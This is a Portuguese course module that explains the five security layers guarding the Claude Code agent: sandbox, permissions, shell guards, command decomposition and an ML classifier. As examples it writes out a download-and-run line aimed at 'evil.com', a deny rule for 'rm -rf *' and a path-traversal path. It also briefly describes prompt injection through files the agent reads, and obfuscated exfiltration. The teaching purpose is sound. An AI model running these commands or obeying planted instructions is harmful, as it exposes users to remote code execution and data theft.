Verificando acesso...

MÓDULO 2.2

🛡️ A Fortaleza: 5 Camadas de Segurança

Cinco muralhas concêntricas protegem seu código — da sandbox externa ao classificador ML. O Claude Code executa comandos shell e edita arquivos, e esse nível de poder exige defesas sérias.

6
Tópicos
30
Minutos
Intermediário
Nível
Teoria
Tipo
1

🏰 Sandbox — A Primeira Muralha

A primeira linha de defesa do Claude Code é o isolamento físico. Antes mesmo de avaliar se um comando é seguro, o sistema garante que a execução acontece dentro de um ambiente restrito — a sandbox. Comandos não têm acesso irrestrito ao sistema operacional; eles rodam em um container limitado que restringe acesso a rede, sistema de arquivos e processos.

Diagrama das 5 camadas de segurança do Claude Code
As cinco camadas concêntricas de segurança do Claude Code — da sandbox externa ao classificador ML interno.

O Que é a Sandbox

●

Isolamento de processos: Comandos executados pelo Claude Code rodam em um ambiente confinado, sem acesso direto ao sistema hospedeiro

●

Restrição de rede: A sandbox pode limitar ou bloquear conexões de rede, impedindo exfiltração de dados

●

Acesso ao filesystem controlado: Apenas os diretórios do projeto são acessíveis — não o sistema inteiro

●

Defesa em profundidade: Mesmo que todas as outras camadas falhem, a sandbox limita o dano potencial

💡 Como Funciona na Prática

No macOS, a sandbox usa o recurso nativo sandbox-exec com perfis restritivos. No Linux, mecanismos como namespaces e cgroups podem ser utilizados. O ponto-chave: você não precisa configurar nada — a sandbox é ativada automaticamente quando disponível. Pense nela como a muralha externa de um castelo: ela está sempre lá, mesmo que você não a veja.

2

🔐 Sistema de Permissões — Allow, Deny e Ask

A segunda camada é o sistema de permissões granular. Cada ferramenta do Claude Code — Bash, Edit, Read, Write — pode ser individualmente configurada para rodar automaticamente, ser bloqueada ou pedir aprovação explícita. Isso é configurável via settings.json e suporta wildcards para automação inteligente.

Os 3 Níveis de Permissão

●

Allow (Permitir): A ferramenta executa automaticamente sem pedir confirmação. Ideal para operações seguras como leitura de arquivos ou comandos de build conhecidos. Exemplo: "Bash(npm test)"

●

Deny (Bloquear): A ferramenta é completamente bloqueada. O Claude Code nem tenta executar. Útil para comandos destrutivos que nunca devem rodar. Exemplo: "Bash(rm -rf *)"

●

Ask (Perguntar): O padrão para a maioria das operações. O Claude Code pausa e pede sua aprovação antes de executar. Você vê exatamente o que será executado e decide se permite ou não

Fazer

  • ✓ Usar wildcards para permitir padrões seguros: Bash(npm *)
  • ✓ Configurar permissões por projeto no .claude/settings.json local
  • ✓ Bloquear explicitamente comandos destrutivos conhecidos
  • ✓ Revisar e ajustar permissões conforme confiança aumenta

Evitar

  • ✗ Aprovar tudo cegamente com Bash(*) no allow
  • ✗ Ignorar as solicitações de permissão — elas existem por um motivo
  • ✗ Usar as mesmas permissões para todos os projetos
  • ✗ Permitir comandos de rede sem restrição em projetos sensíveis
3

🛡️ Guardas da BashTool — 23+ Verificações Contra Shell Malicioso

O shell é o maior vetor de ataque em qualquer sistema de agentes de IA. Um comando shell aparentemente inocente pode esconder substituições de comando, injeções de variáveis, caracteres Unicode invisíveis e dezenas de outros truques. A BashTool do Claude Code implementa mais de 23 verificações específicas para neutralizar essas ameaças.

O Que os Guardas Bloqueiam

●

Substituição de comando $(): Previne execução aninhada de comandos arbitrários dentro de strings

●

Zsh perigosos: Bloqueia zmodload, sysopen, zsystem e outros builtins que acessam recursos do sistema

●

Flags ofuscadas: Detecta flags escritas de formas alternativas para burlar detecção (ex: -\-force com escape)

●

IFS injection: Bloqueia manipulação do Internal Field Separator para alterar parsing de comandos

●

Unicode whitespace: Detecta caracteres Unicode invisíveis que parecem espaços mas alteram semântica

●

Control chars: Bloqueia caracteres de controle que podem manipular o terminal ou alterar output

●

Pipe para shell: Previne padrões como curl url | bash que baixam e executam código arbitrário

●

Redireção perigosa: Bloqueia redireção de output para arquivos sensíveis do sistema

🚨 Por Que Shell é o Maior Vetor de Ataque

O shell é Turing-completo e incrivelmente expressivo. Um único comando pode baixar código da internet, executá-lo, modificar arquivos do sistema e exfiltrar dados — tudo em uma linha. Atacantes sofisticados usam técnicas como:

●

Prompt injection: Inserir instruções maliciosas em arquivos que o Claude Code lê, fazendo-o executar comandos perigosos

●

Obfuscação multi-camada: Codificar comandos em base64, hex, ou usar variáveis de ambiente para esconder intenção

●

Exfiltração via DNS/HTTP: Enviar dados sensíveis codificados em requisições aparentemente inocentes

4

🔍 Análise de Comando — Decomposição e Verificação Independente

Comandos compostos são uma das formas mais comuns de burlar verificações de segurança. Um comando como npm test && curl evil.com | bash poderia passar despercebido se apenas o primeiro subcomando fosse verificado. O Claude Code resolve isso decompondo cada comando composto e verificando cada parte independentemente.

Como a Decomposição Funciona

●

Parsing de operadores: &&, ||, ;, | — cada operador divide o comando em subcomandos separados

●

Verificação individual: Cada subcomando passa independentemente por todas as verificações de segurança

●

Falha atômica: Se qualquer subcomando falhar na verificação, o comando inteiro é bloqueado — não há execução parcial

●

Subshells incluídos: Expressões dentro de () e {} também são analisadas recursivamente

💡 Na Prática

Quando o Claude Code precisa executar cd project && npm install && npm test, ele não avalia o comando como um bloco único. Ele divide em três partes — cd project, npm install e npm test — e verifica cada um contra todas as regras de segurança. Isso significa que esconder um comando perigoso no meio de uma cadeia de comandos seguros não funciona.

5

🏛️ Código Protegido — A Fortaleza Interna

Todas as camadas anteriores convergem para um único objetivo: proteger seu código e suas credenciais. Além das defesas genéricas, o Claude Code implementa proteções específicas contra vetores de ataque conhecidos — incluindo vulnerabilidades exclusivas de plataforma como vazamento NTLM no Windows.

Proteções da Fortaleza Interna

●

Proteção UNC (Windows): Caminhos UNC como \\server\share podem forçar autenticação NTLM automática, vazando hashes de senha. O Claude Code detecta e bloqueia esses caminhos

●

Bloqueio de credenciais em URLs: URLs no formato https://user:password@host são detectadas e bloqueadas para evitar vazamento de credenciais

●

Proteção de arquivos sensíveis: Acesso a .env, .ssh/, credentials.json e similares é sinalizado ou bloqueado

●

Validação de paths: Caminhos com traversal (../../etc/passwd) são detectados e impedidos

📊 Lista de Proteções Específicas

●

Caminhos UNC: Detecção de \\ no início de caminhos em ambiente Windows

●

Credenciais em URL: Regex para detectar ://user:pass@ em qualquer contexto

●

Tokens e chaves: Padrões de API keys (AWS, GitHub, Anthropic) são detectados e mascarados

●

Path traversal: Sequências ../ que escapam do diretório do projeto são bloqueadas

●

Symlink attacks: Links simbólicos que apontam para fora do projeto são verificados

●

Arquivo de configuração shell: Escrita em .bashrc, .zshrc, .profile é bloqueada para evitar persistência

6

🤖 Classificador ML — Aprovação Semântica com Inteligência

A camada mais sofisticada. Enquanto as outras verificações usam regras estáticas (regex, listas de bloqueio, parsing), o classificador ML entende a intenção semântica do comando. Ele não olha apenas para os caracteres — ele compreende o que o comando pretende fazer. Além disso, a Anthropic mantém uma API de lista de bloqueio para URLs maliciosas conhecidas.

Como o Classificador ML Funciona

●

Análise semântica: Ao invés de regex, usa modelos treinados para entender a intenção real de um comando — "este comando está tentando exfiltrar dados?" ao invés de "este comando contém a palavra curl?"

●

Aprovação contextual: Considera o contexto da conversa e do projeto para decidir se uma ação é razoável — curl em um projeto web é normal, curl em um projeto puramente local é suspeito

●

API de lista de bloqueio: A Anthropic mantém uma lista centralizada e atualizada de URLs maliciosas, domínios de phishing e endpoints de exfiltração conhecidos

●

Camada opcional: O classificador ML atua como verificação adicional, nunca como substituto das camadas anteriores

💡 Defesa em Profundidade

O princípio fundamental de toda a arquitetura de segurança do Claude Code é defesa em profundidade. Nenhuma camada individual é perfeita — e nenhuma precisa ser. O valor está na combinação:

1

Sandbox limita o dano máximo possível

2

Permissões controlam o que pode ser executado

3

Guardas BashTool bloqueiam padrões perigosos conhecidos

4

Análise de Comando decompõe e verifica cada parte

5

Classificador ML entende a intenção, não apenas o texto

📋 Resumo do Módulo

✓ A Sandbox isola a execução em um ambiente restrito — primeira muralha de defesa
✓ O Sistema de Permissões oferece controle granular com allow, deny e ask por ferramenta
✓ Os Guardas da BashTool executam 23+ verificações contra padrões maliciosos de shell
✓ A Análise de Comando decompõe comandos compostos e verifica cada parte independentemente
✓ Proteções específicas contra UNC, credenciais em URL, path traversal e mais
✓ O Classificador ML entende intenção semântica — a camada mais sofisticada da fortaleza

Próximo Módulo:

2.3 - 📦 O Aperto